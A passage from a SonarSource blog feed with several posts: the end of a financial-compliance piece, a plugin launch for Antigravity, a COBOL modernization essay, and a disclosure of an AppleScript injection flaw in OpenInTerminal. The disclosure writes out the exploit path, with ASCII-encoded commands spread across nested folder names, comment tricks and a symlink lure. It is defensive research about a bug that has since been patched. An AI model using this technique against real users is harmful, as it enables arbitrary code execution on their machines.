area&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Compliance theme&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;How SonarQube supports it&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section IV.H: Containers - Embedded Secrets and Component Risk&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Secrets and vulnerable components before packaging&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Detects secrets, credentials, and private keys in source code and configuration files before they are packaged into container images, and identifies dependency risks in containerized applications. &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section VII.B.2(c): Code Repository Controls&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Automated review evidence in repository workflows&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Analyzes code from connected repositories and pull requests before changes are merged or released, adding automated review evidence to repository-based workflows. &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;em&gt;Containers and repository-based change&lt;/em&gt;&lt;/p&gt;&lt;h2&gt;Why does this matter for AI-assisted development?&lt;/h2&gt;&lt;p&gt;AI-assisted development changes the economics of software creation: it allows teams to produce more code, move through routine work faster, and bring business expertise closer to implementation. For US financial institutions, that creates a meaningful opportunity: more software can be built closer to the workflows, risks, and controls it is meant to support.&lt;/p&gt;&lt;p&gt;AI can increase the volume of code, dependencies, and change events moving through the SDLC. But every one of those changes still needs to be reviewed against the institution’s standards for security, quality, maintainability, and software supply chain risk. If verification remains manual or late-stage, the institution does not gain speed; it moves the bottleneck to review, remediation, and approval.&lt;/p&gt;&lt;p&gt;For financial institutions, the goal is to increase delivery capacity while preserving confidence in the software being built. &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; makes that model practical: AI can accelerate development, while continuous verification keeps &lt;a href=&quot;https://www.sonarsource.com/solutions/ai-code-quality/&quot;&gt;quality&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/solutions/security/&quot;&gt;security&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/solutions/maintainability/&quot;&gt;maintainability&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/solutions/software-supply-chain-security/&quot;&gt;software supply chain&lt;/a&gt; risk visible across the SDLC. &lt;a href=&quot;https://www.sonarsource.com/company/contact/&quot;&gt;Get in touch&lt;/a&gt; to learn more. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Now available: SonarQube plugin for Antigravity]]></title><description><![CDATA[Discover the SonarQube plugin for Antigravity and verify AI generated code with trusted quality security and coverage checks in every session.]]></description><link>https://www.sonarsource.com/blog/now-available-sonarqube-plugin-for-antigravity/</link><guid isPermaLink="false">en:3fcd2345-fe66-4a41-b7e2-c95966efcb8e</guid><dc:creator><![CDATA[Brooks Naylor]]></dc:creator><pubDate>Mon, 27 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What is the SonarQube plugin for Antigravity?&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/resources/library/what-is-an-ai-agent/&quot;&gt;AI coding agents&lt;/a&gt; generate code faster than any team can review. Google Antigravity lets software developers architect and implement entire features in minutes. That velocity creates a new risk: code quality and security debt accumulates faster than anyone can catch it.&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; plugin for Antigravity closes that gap. It embeds deterministic code verification inside the agent&amp;#x27;s own workflow, so the same standards you enforce in CI apply the moment code is generated.&lt;/p&gt;&lt;p&gt;The plugin connects Antigravity to your SonarQube instance through the &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/mcp-server/&quot;&gt;SonarQube MCP Server&lt;/a&gt; and the &lt;a href=&quot;https://sonarsource.com/sonarqube/cli/&quot;&gt;SonarQube CLI&lt;/a&gt;. Once installed, Antigravity agents can query quality gate status, list open issues, review coverage and duplication, and assess dependency risks, all without leaving the session. Verification runs against the quality profiles and gates your organization already maintains.&lt;/p&gt;&lt;p&gt;The Antigravity plugin joins the wave of SonarQube agent plugins released in 2026, extending consistent code verification to another environment where your software developers generate code. No tool left behind, no quality gap left open.&lt;/p&gt;&lt;h2&gt;How do I set up the SonarQube plugin for Antigravity?&lt;/h2&gt;&lt;p&gt;Antigravity uses two install surfaces, both backed by the SonarQube CLI, so the full setup only takes two steps. First, install the plugin bundle, which delivers skills, agent rules, and SonarQube MCP Server configuration:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;agy plugin install https://GitHub.com/SonarSource/sonarqube-agent-plugins&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Then authenticate and wire up the rest with the SonarQube CLI:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;sonar auth login -o &amp;lt;your-organization-key-here&amp;gt;
    sonar integrate antigravity    &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That second command installs secrets scanning hooks, Sonar Vortex agentic analysis instructions and a context augmentation skill, and the SonarQube MCP Server patch. Prefer a guided flow? Run &lt;code&gt;/sonarqube:sonar-integrate&lt;/code&gt; inside Antigravity to walk through the CLI installation, authentication, and plugin integration.&lt;/p&gt;&lt;p&gt;From there, use slash commands like &lt;code&gt;/sonarqube:sonar-quality-gate&lt;/code&gt; or  use natural language prompts such as &amp;quot;analyze my code for issues&amp;quot; or &amp;quot;check my coverage.&amp;quot;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/ef593040-b591-0198-9506-ed88b30bc023/729be48b-e40c-4d1b-a94d-527fc537ae3d/antigravity-plugin-1.png&quot; /&gt;&lt;p&gt;&lt;strong&gt;Sonar Vortex delivers inner-loop verification.&lt;/strong&gt; For organizations with &lt;a href=&quot;https://www.sonarsource.com/products/sonar-vortex/&quot;&gt;Sonar Vortex&lt;/a&gt; enabled, verification runs automatically at the end of each turn, across every file the agent changed, before it hands the turn back, with no manual invocation required. Vortex feeds the agent your context and constraints before it writes, verifies each change in session and in real time , and prompts the agent to correct its output when a check fails. The result is a closed loop: guide the agent with the right context, verify every edit deterministically, and fix issues before they leave the session.&lt;/p&gt;&lt;h2&gt;Why does AI-generated code need independent quality verification?&lt;/h2&gt;&lt;p&gt;AI models are probabilistic. The same prompt can produce different results on different days. That makes independent, deterministic verification mandatory, not optional. SonarQube is the independent verification layer: the same code produces the same result every time, giving you an auditable standard that AI self-review cannot.&lt;/p&gt;&lt;p&gt;This is the &lt;a href=&quot;https://www.sonarsource.com/agent-centric-development/&quot;&gt;Agent Centric Development Cycle (AC/DC)&lt;/a&gt; in practice. The framework rests on three pillars. &lt;strong&gt;Guide&lt;/strong&gt; agents with your standards, architecture, and constraints before they write. &lt;strong&gt;Verify&lt;/strong&gt; every change with zero-trust, multilayered verification across quality, security, and compliance. &lt;strong&gt;Solve&lt;/strong&gt; the issues verification finds, in the same session. The plugin places Guide and Verify inside Antigravity&amp;#x27;s own generation loop rather than deferring verification to the next CI run.&lt;/p&gt;&lt;p&gt;Verification at this pillar matters because small errors compound. When agents work for extended sessions and produce large payloads, a missed issue early on cascades through thousands of lines. Catching it at the point of generation is faster, cheaper, and far less disruptive than catching it downstream. That is why developers who verify their code with SonarQube are 44% less likely to report outages due to AI-generated code.&lt;/p&gt;&lt;h2&gt;How do I install and configure the SonarQube plugin for Antigravity?&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/resources/library/set-up-the-sonarqube-plugin-for-antigravity/&quot;&gt;The plugin is available now&lt;/a&gt;. Launch Antigravity, install the plugin bundle with &lt;code&gt;agy plugin install https://GitHub.com/SonarSource/sonarqube-agent-plugins&lt;/code&gt;, then run &lt;code&gt;sonar auth login&lt;/code&gt; and &lt;code&gt;sonar integrate antigravity&lt;/code&gt; to configure authentication, the MCP server, a secrets-scanning hook, prompt-secrets rules, and Sonar Vortex. Within minutes, every Antigravity session benefits from automated verification by SonarQube.&lt;/p&gt;&lt;p&gt;Use Antigravity for speed. Use SonarQube for trust.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/cloud/signup/&quot;&gt;Get started with SonarQube Cloud&lt;/a&gt; |&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/contact-sales/&quot;&gt; Contact sales&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[COBOL is back, and AI is writing it. Who's verifying the code?]]></title><description><![CDATA[As AI accelerates COBOL modernization, organizations face a new bottleneck. See why trusted verification is essential for every commit.]]></description><link>https://www.sonarsource.com/blog/cobol-is-back/</link><guid isPermaLink="false">en:61c798e6-c012-43ff-8389-b2b184e618d4</guid><dc:creator><![CDATA[Taylor Luttrell-Williams]]></dc:creator><pubDate>Thu, 23 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/cobol/&quot;&gt;COBOL&lt;/a&gt; wasn&amp;#x27;t supposed to be a 2026 story. The programming language turns 67 this year, most universities stopped teaching it in the 1990s, and for two decades the standard industry take assumed that it would quietly age out. Instead, COBOL’s back in the headlines because the two forces bearing down on it have finally collided: the people who understand COBOL are retiring, and AI has become capable enough to be pointed straight at the code they&amp;#x27;re leaving behind.&lt;/p&gt;&lt;p&gt;This confluence of factors is driving genuine investment, but most of its coverage is fixated on the wrong angle. Businesses and government agencies alike want to understand whether AI can write and translate COBOL. The harder question, and the one that actually decides whether any of this is viable, is &lt;em&gt;who&lt;/em&gt; verifies what the AI produces before, for example, it runs the payroll for a state government or clears a few billion dollars in overnight settlement.&lt;/p&gt;&lt;h2&gt;COBOL&amp;#x27;s comeback is a survival move&lt;/h2&gt;&lt;p&gt;This isn&amp;#x27;t a hype cycle, but rather triage, and the systems in question are load bearing for the economy. According to &lt;a href=&quot;https://www.reuters.com/article/us-usa-banks-cobol-idUSKBN17C0D8&quot;&gt;reporting by Reuters&lt;/a&gt;, an estimated $3 trillion in daily commerce flows through COBOL systems, with roughly 220 billion lines of code still running in production. Those figures are order-of-magnitude estimates from 2017, but nobody disputes the shape of it: banks, insurers, airlines, and government agencies like the IRS and the Social Security Administration still run core operations on COBOL. When several U.S. states sought out COBOL developers during the 2020 unemployment surge and couldn&amp;#x27;t find them, that wasn&amp;#x27;t a fluke, but instead a preview of what was to follow in the coming years.&lt;/p&gt;&lt;p&gt;The workforce math is central to this problem. The engineers who wrote and maintained these systems are reaching retirement, and the pipeline behind them dried up 30 years ago. Organizations aren&amp;#x27;t investing in COBOL because it&amp;#x27;s novel, they&amp;#x27;re investing because the alternative involves losing the institutional knowledge encoded in millions of lines of code that few engineers fully understand anymore, and that they cannot afford to get wrong. When assigned to COBOL, that&amp;#x27;s the context AI walked into.&lt;/p&gt;&lt;h2&gt;Can AI write and translate COBOL code?&lt;/h2&gt;&lt;p&gt;The most valuable thing AI does with COBOL isn&amp;#x27;t writing new code, it&amp;#x27;s explaining old code. Business-rule extraction, pointing a model at an undocumented paragraph and getting back a plain-language description of what it does, attacks the exact problem the retirement cliff creates. Knowledge that lives in one senior engineer&amp;#x27;s head can be surfaced, documented, and preserved before that engineer retires.&lt;/p&gt;&lt;p&gt;From there, AI accelerates the work that historically stalled COBOL modernization:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Translation &lt;/strong&gt;— agents can rewrite COBOL business logic into modular components or modern languages like &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/java/&quot;&gt;Java&lt;/a&gt;, producing a first draft in a fraction of the time that a manual port would take.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Testing and debugging &lt;/strong&gt;— models generate test cases against existing behavior and refactor tangled procedures into something more legible.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;AI compresses the &lt;em&gt;understanding&lt;/em&gt; phase, which is the part that used to make COBOL modernization cost more than it was worth. The shift is monumental, and it&amp;#x27;s why the market suddenly cares about a language it had once written off.&lt;/p&gt;&lt;h2&gt;What are the risks of using AI to modernize COBOL systems?&lt;/h2&gt;&lt;p&gt;AI output is often a draft, not a finished product: a translation can look right but behave differently in subtle ways, or quietly reproduce the insecure patterns models pick up from their training data. And agents produce those mistakes at a scale and speed no human review process was designed to absorb. In an ordinary web app, you catch those in staging; in a benefits-disbursement system, you catch them when the checks are wrong.&lt;/p&gt;&lt;p&gt;Now layer another problem on top: the people qualified to catch these mistakes are the same people who are exiting the workforce. The COBOL expertise shortage isn&amp;#x27;t only a code-writing problem, but also a code-&lt;em&gt;reviewing&lt;/em&gt; problem. Every argument in favor of using AI (because human experts are scarce) is also, quietly, an argument that there are fewer humans left to verify what the AI wrote. The shortage doesn&amp;#x27;t just create the need for automation, it removes the safety net underneath it.&lt;/p&gt;&lt;p&gt;There&amp;#x27;s a more hopeful reading too, but one which also points toward verification: in the case of COBOL, agents can make good teachers. They help explain unfamiliar code, so a developer who has never before opened a COBOL program can become productive in weeks instead of months. Understandably, however, the developer learning COBOL with an AI agent is not as well equipped to notice when that agent is subtly wrong, and lowering the barrier to writing COBOL merely grows the pool producing it faster than the pool that can vouch for it.&lt;/p&gt;&lt;p&gt;Such are situations where more code is being generated faster, by tools that make subtle errors, headed into systems that genuinely cannot fail, reviewed by a shrinking pool of experts. That gap between how fast code is produced and how fast it can be verified is the real bottleneck in COBOL modernization: not generation, but trust.&lt;/p&gt;&lt;h2&gt;SonarQube: the verification layer for COBOL&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/cobol/&quot;&gt;SonarQube analyzes COBOL&lt;/a&gt; directly, with nearly 200 rules covering reliability, security, and maintainability issues across 10 COBOL dialects, reaching into the embedded DB2 SQL and CICS statements where real mainframe logic actually lives. When an issue spans more than one spot in the code, the analyzer highlights each location, and its rules carry remediation guidance, so a fix is legible even to someone who isn&amp;#x27;t a 30-year COBOL veteran.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; analysis doesn&amp;#x27;t care &lt;em&gt;who&lt;/em&gt; wrote the code, so a quality gate applies the same pass-or-fail bar to a retiring expert&amp;#x27;s hand-written paragraph and an agent&amp;#x27;s freshly translated module. The goal is to verify all code, whether it&amp;#x27;s first-party, AI-generated, or open source. For COBOL specifically, this neutrality &lt;em&gt;is&lt;/em&gt; the point: when there aren’t enough human reviewers to keep up with what your agents produce, a deterministic analysis layer becomes the consistent second set of eyes, except that it doesn&amp;#x27;t retire, it doesn&amp;#x27;t skim, and it checks every line the same way, on every commit.&lt;/p&gt;&lt;p&gt;Consider a small, familiar example: an EVALUATE statement with no WHEN OTHER branch silently ignores every value that it wasn&amp;#x27;t explicitly told to handle. A rushed reviewer scrolls past it, and an AI agent translating a paragraph reproduces the omission without a second thought. Static analysis flags the unhandled case every single time, before it becomes the edge case that only ever lived in an expert’s memory. Multiply that across a modernization program running thousands of files, and the value of an automated bar that never gets tired becomes glaringly obvious.&lt;/p&gt;&lt;p&gt;Practically, the capability spans the products you&amp;#x27;d already reach for: &lt;a href=&quot;https://www.sonarsource.com/sem/knowledge/languages/cobol/&quot;&gt;COBOL analysis&lt;/a&gt; is available in &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/server/&quot;&gt;SonarQube Server&lt;/a&gt; (&lt;a href=&quot;https://www.sonarsource.com/get-started/server/&quot;&gt;Enterprise Edition&lt;/a&gt;) and &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/cloud/&quot;&gt;SonarQube Cloud&lt;/a&gt; (on an &lt;a href=&quot;https://www.sonarsource.com/plans-and-pricing/&quot;&gt;Enterprise plan&lt;/a&gt;), with in-editor feedback through &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/ide/&quot;&gt;SonarQube for IDE&lt;/a&gt; in &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/ide/features/connected-mode/&quot;&gt;connected mode&lt;/a&gt;. You extract the source to a filesystem and analyze it where the rest of your quality checks already live.&lt;/p&gt;&lt;h2&gt;Accelerate with AI agents, verify with SonarQube&lt;/h2&gt;&lt;p&gt;Strip away the COBOL specifics and you’ll reveal the broader direction of modern software development: agents generate, and an independent layer verifies. It&amp;#x27;s the pattern Sonar calls the &lt;a href=&quot;https://www.sonarsource.com/agent-centric-development/&quot;&gt;Agent Centric Development Cycle&lt;/a&gt;, where verification is mandatory, not optional, and is grounded in deterministic analysis (rather than asking a model to grade its own homework). COBOL represents a vivid proof case: the oldest and (arguably) highest-stakes code in the world, now being touched by the newest tools. AI didn&amp;#x27;t remove the need for rigor in COBOL; it raised it, and moved it to the verification layer.&lt;/p&gt;&lt;p&gt;If your organization is modernizing COBOL with AI in the loop, the question to answer before you scale it isn&amp;#x27;t whether the agents are fast and capable, but instead whether every line they produce has to clear the same gate as everything else. That gate is the difference between modernizing with confidence, and shipping expensive surprises into systems that were never allowed to have any.&lt;/p&gt;&lt;h2&gt;Where to go next&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/cobol/&quot;&gt;&lt;strong&gt;SonarQube COBOL analysis&lt;/strong&gt;&lt;/a&gt; — supported dialects, rule coverage, and how COBOL analysis fits your pipeline.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://docs.sonarsource.com/sonarqube-server/analyzing-source-code/languages/cobol&quot;&gt;&lt;strong&gt;SonarQube Server COBOL docs&lt;/strong&gt;&lt;/a&gt; and &lt;a href=&quot;https://docs.sonarsource.com/sonarqube-cloud/analyzing-source-code/languages/cobol&quot;&gt;&lt;strong&gt;SonarQube Cloud COBOL docs&lt;/strong&gt;&lt;/a&gt; — configuration, dialects, and embedded SQL/CICS setup.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/solutions/ai-code-quality/&quot;&gt;&lt;strong&gt;Verify AI-generated code with Sonar&lt;/strong&gt;&lt;/a&gt; — how the same verification bar applies to AI-generated and developer-written code.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/the-future-is-ac-dc-the-agent-centric-development-cycle/&quot;&gt;&lt;strong&gt;The future is AC/DC&lt;/strong&gt;&lt;/a&gt; — why an independent verification layer is the center of gravity in agent-driven development.&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Escape from AppleScript: Even folder names can be user input]]></title><description><![CDATA[Learn how an AppleScript injection flaw in OpenInTerminal let crafted folder names execute arbitrary code and how safer APIs prevent similar attacks.]]></description><link>https://www.sonarsource.com/blog/escape-from-applescript/</link><guid isPermaLink="false">en:63685409-e9a2-4f6d-927c-b2c8b66232a2</guid><dc:creator><![CDATA[Paul Gerste]]></dc:creator><pubDate>Wed, 22 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/Ji4n1ng/OpenInTerminal&quot;&gt;OpenInTerminal&lt;/a&gt; is a popular macOS utility written in Swift that enhances the Finder by allowing users to quickly open the current directory in their preferred terminal application. It achieves this by integrating with the Finder&amp;#x27;s toolbar and context menu.&lt;/p&gt;&lt;p&gt;When we investigated the code base, we noticed that developers often use AppleScript as a replacement for the missing eval() function in Swift. This practice of dynamically creating and executing scripts brings the risks usually associated with dynamic languages into a compiled language.&lt;/p&gt;&lt;p&gt;This blog post will cover the technical details of an AppleScript Injection vulnerability discovered in OpenInTerminal, detected by SonarQube. We will walk through how a maliciously crafted folder could be used to execute arbitrary code on a victim&amp;#x27;s machine. Finally, we will look at how you can avoid such flaws in your code.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/ovMuxFURI4Y?si=Tg6xgI6FTOcJMaew&quot;&gt;Escape from AppleScript&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;An attacker can exploit this vulnerability to execute arbitrary code on a victim&amp;#x27;s computer. For a successful attack, the victim must download or receive a malicious folder structure (for example, by cloning an untrusted Git repository or extracting a ZIP archive) and then attempt to open one of the nested folders using OpenInTerminal&amp;#x27;s functionality with a non-standard terminal or editor.&lt;/p&gt;&lt;p&gt;The attack can be disguised by using symbolic links to make the trigger folder more accessible, reducing the amount of user interaction required.&lt;/p&gt;&lt;h2&gt;Technical details&lt;/h2&gt;&lt;p&gt;After scanning the OpenInTerminal code with SonarQube Cloud, we are presented with &lt;a href=&quot;https://sonarcloud.io/project/issues?impactSoftwareQualities=SECURITY&amp;amp;issueStatuses=OPEN%2CCONFIRMED&amp;amp;id=sonarsourceresearch_openinterminal-blog-post&amp;amp;open=AZ-EG_hbc7bYHbjQCH2S&quot;&gt;a vulnerability finding&lt;/a&gt;:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/ef593040-b591-0198-9506-ed88b30bc023/160848ad-93d7-4ee8-9cee-cee0fccf5d75/openinterminal-issue.png&quot; /&gt;&lt;p&gt;The highlighted line of code will run arbitrary AppleScript code snippets passed to the &lt;code&gt;execute()&lt;/code&gt; function. To understand if this is indeed a vulnerability, we need to verify where these scripts are coming from. For example, OpenInTerminal uses AppleScript to launch external applications. To open a given file system path in a terminal, the application constructs and executes an AppleScript &lt;code&gt;do shell script&lt;/code&gt; command:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/Ji4n1ng/OpenInTerminal/blob/bee2c57aeb8e00537b128c44c3a035103b97c9f2/OpenInTerminalCore/App.swift&quot;&gt;OpenInTerminalCore/App.swift&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;var openCommand = DefaultsManager.shared.getOpenCommand(self, escapeCount: 2)
openCommand += &amp;quot; &amp;quot; + path.specialCharEscaped(2)
let source = &amp;quot;&amp;quot;&amp;quot;
    do shell script &amp;quot;\(openCommand)&amp;quot;
    &amp;quot;&amp;quot;&amp;quot;
try excute(source)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The core issue lies in how special characters within the folder path are escaped. The application attempts to escape special characters for a shell context, but this escaping is insufficient for the surrounding AppleScript context.&lt;/p&gt;&lt;p&gt;The &lt;code&gt;specialCharEscaped(2)&lt;/code&gt; function escapes characters like a double quote (&lt;code&gt;&amp;quot;&lt;/code&gt;) with two backslashes (&lt;code&gt;\\&amp;quot;&lt;/code&gt;). While this correctly escapes the quote for the &lt;code&gt;shell script&lt;/code&gt; portion of the command, it leaves the double quote &amp;quot;unescaped&amp;quot; from the perspective of the outer AppleScript interpreter.&lt;/p&gt;&lt;p&gt;For example, a folder named &lt;code&gt;foo&amp;quot;bar&lt;/code&gt; would be escaped into the following AppleScript source code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;do shell script &amp;quot;open -a iTerm /Users/paul/foo\\&amp;quot;bar&amp;quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This breaks the AppleScript syntax, as the lone &lt;code&gt;&amp;quot;&lt;/code&gt; prematurely terminates the string, leading to an error. An attacker can leverage this escaping flaw to break out of the string context and inject their own AppleScript commands.&lt;/p&gt;&lt;h3&gt;Exploitation path&lt;/h3&gt;&lt;p&gt;Executing a payload isn&amp;#x27;t straightforward because many special characters needed for simple commands (like spaces and double quotes) are escaped. To build a working exploit, an attacker must overcome several limitations:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Bypassing character restrictions:&lt;/strong&gt; To form a command string without using double quotes, an attacker can build it by converting ASCII character codes into characters (e.g., &lt;code&gt;ASCII character 65&lt;/code&gt; becomes &lt;code&gt;&amp;quot;A&amp;quot;&lt;/code&gt;). Since the &lt;code&gt;&amp;amp;&lt;/code&gt; character for concatenation is also escaped, an array of characters can be created and then coerced into a single string using the &lt;code&gt;as text&lt;/code&gt; keyword. Additionally, since the space character (0x20) would be escaped, the attacker can use tabs instead.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;-- create a char list: [&amp;#39;i&amp;#39;, &amp;#39;d&amp;#39;]
set charlist  to  {ASCII  character 105,ASCII character 100}
-- cast to text, joining chars to a single string
set cmd to  charlist  as  text&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Overcoming path length limits:&lt;/strong&gt; macOS limits a single folder or file name to 255 characters, which is too short for a complex payload. The payload can be split across multiple nested folders. The path separator (&lt;code&gt;/&lt;/code&gt;) that would break the script is hidden inside AppleScript line comments (&lt;code&gt;--&lt;/code&gt;), which causes the interpreter to ignore it and treat the content of the nested folder names as a continuation of the script.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;set a to  {ASCII  character 111,ASCII character 112,ASCII character 101,ASCIIcharacter  110,ASCII character 32,ASCII character 45,ASCII  character 97,ASCIIcharacter 32,ASCII character 67,ASCII  character 97}--/
set b to  {ASCII character 108,ASCII character 99,ASCII  character 117,ASCIIcharacter  108,ASCII character 97,ASCII  character 116,ASCII character 111,ASCIIcharacter 114}--/
set cmd to  {a,b} as  text
do  shell script  cmd --/interesting&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Finalizing the payload:&lt;/strong&gt; The final part of the payload must also start with a line comment (&lt;code&gt;--&lt;/code&gt;) to ensure the original, trailing double quote from the &lt;code&gt;do shell script&lt;/code&gt; command is ignored, preventing a syntax error. To make the attack more convincing, the attacker can add a top-level symlink pointing to the innermost folder so that the victim can end up in a folder whose path contains the payload without seeing or navigating through the suspicious intermediate folders.&lt;/p&gt;&lt;p&gt;When a user with a vulnerable version of OpenInTerminal tries to open the innermost &lt;code&gt;interesting&lt;/code&gt; folder, the chained AppleScript payload executes, in this case launching the Calculator application.&lt;/p&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;The vulnerability can be mitigated by avoiding AppleScript for running shell commands. The recommended approach is to use the native &lt;code&gt;Process&lt;/code&gt; interface to execute commands directly. This avoids passing the command through a secondary interpreter like AppleScript, eliminating the risk of an injection flaw caused by mismatched escaping rules.&lt;/p&gt;&lt;p&gt;The OpenInTerminal maintainer fixed this vulnerability by replacing string-built shell commands with structured argument passing. Previously, the application name and selected path were concatenated into a single command string, manually escaping a denylist of metacharacters before passing it to AppleScript’s &lt;code&gt;do shell script&lt;/code&gt;. This was brittle: crafted filenames or application names could cross the data/code boundary and be interpreted as shell syntax.&lt;/p&gt;&lt;p&gt;The fixed implementation sends &lt;code&gt;/usr/bin/open&lt;/code&gt;, its options, and each path as separate AppleEvent arguments. The AppleScript then applies POSIX &lt;code&gt;quoted form of&lt;/code&gt; to every element individually before execution, ensuring untrusted values remain literal arguments. This mirrors APIs such as &lt;code&gt;execve()&lt;/code&gt; or &lt;code&gt;subprocess.run([...], shell=False)&lt;/code&gt;: preserve argument boundaries instead of trying to sanitize a command string.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-05-08&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;We report the vulnerabilities to OpenInTerminal&amp;#x27;s maintainer&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-05-22&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;The maintainer confirms the issues and states they will work on it in July&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-08-07&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;We inform the maintainer that our 90-day disclosure deadline has elapsed&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2026-07-13&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;The maintainer fixes the issues and releases &lt;a href=&quot;https://github.com/Ji4n1ng/OpenInTerminal/releases/tag/v2.3.9&quot;&gt;v2.3.9&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;This vulnerability in OpenInTerminal is a good reminder of the risks associated with dynamically generating and executing scripts from user-controlled data, which includes something as seemingly innocuous as a file path. When one programming context (Swift) creates code for another (AppleScript) which in turn executes a third (shell), the escaping and sanitization rules must be perfectly aligned for all layers. A mismatch in these rules, as seen here, can create subtle but critical injection vulnerabilities. Developers should always favor native, safer APIs for process execution over dynamic script generation whenever possible.&lt;/p&gt;&lt;h2&gt;Related blog posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/jellyfin-remote-code-execution/&quot;&gt;Jellyfin RCE | Inconsistent Validation Leads to Argument Injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a 